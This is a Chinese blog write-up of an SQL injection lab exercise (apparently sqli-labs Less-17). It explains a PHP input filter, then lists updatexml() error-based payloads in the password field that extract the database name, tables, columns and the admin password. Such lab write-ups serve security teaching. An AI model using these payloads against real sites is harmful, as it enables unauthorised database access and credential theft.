zoukankan      html  css  js  c++  java
  • Less(17)POST

    1.这题也没有错误回显,但是要求确实是“基于错误更新查询”,查一下php文件:

      

       显然,这里对uname做了check_input的处理,check_input()函数如下,看看是怎么处理的:

      

       只截取15个字节

      get_magin_quoter_gpc()

      当magin_quoter_gpc()=On的时候,函数get_magic_quotes_gpc()就会返回1

      当magin_quoter_gpc()=Off的时候,函数get_magic_quotes_gpc()就会返回0

      magin_quoter_gpc函数在php中的作用是判断解析用户提示数据,如包括有:post、get、cookie过来的数据增加转义字符"/",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

      在magin_quoter_gpc=On的情况下,如果输入的数据有:

      单引号(')、双引号(")、反斜杠()与NULL(NULL字符)等字符,都会加上反斜杠。

      stripslashes()删除addslashes()函数添加的反斜杠

      ctype_digit()判断是不是数字,是数字就会返回true,否则返回false

      mysql_real_escape_string()转义SQL语句中使用的字符串中的特殊字符

      intval() 整形转换

    2.对password爆破:

      (1)使用updatexml(),它和extractvaule()是亲兄弟,以下测试version()返回mysql版本:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+ &submit=Submit

        

         (2)爆库:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ &submit=Submit

        

      (3)爆表:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ &submit=Submit

        

      (4)爆列名:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and  column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')),0x7e),1)--+ &submit=Submit

        

      (5)爆值:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+ &submit=Submit

        

         发现不行,加一层select试试:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from users where username='admin'))),1)--+ &submit=Submit

        

         查了一下加个名,就完事了,最终:uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from(select password from users where username='admin')mingzi),0x7e),1)--+ &submit=Submit

        

         也可以用:uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from(select password from users limit 7,1) text),0x7e),1)--+ &submit=Submit

         

  • 相关阅读:
    外键的创建
    MySQL (1366, "Incorrect string value: '\xF0\x9F\x8E\xAC\xE5\x89...' for column 'description' at row 1")
    python 获取文件路径
    ModuleNotFoundError: No module named 'Crypto'
    Django---错误
    CentOS7系统ifconfig无法使用的解决方法
    NACOS集群搭建遇到的问题
    Mysql连接报错:1130-host ... is not allowed to connect to this MySql server如何处理
    CentOS7 yum方式安装MySQL5.7
    MySQL数据库的全局锁和表锁
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12300508.html
Copyright © 2011-2022 走看看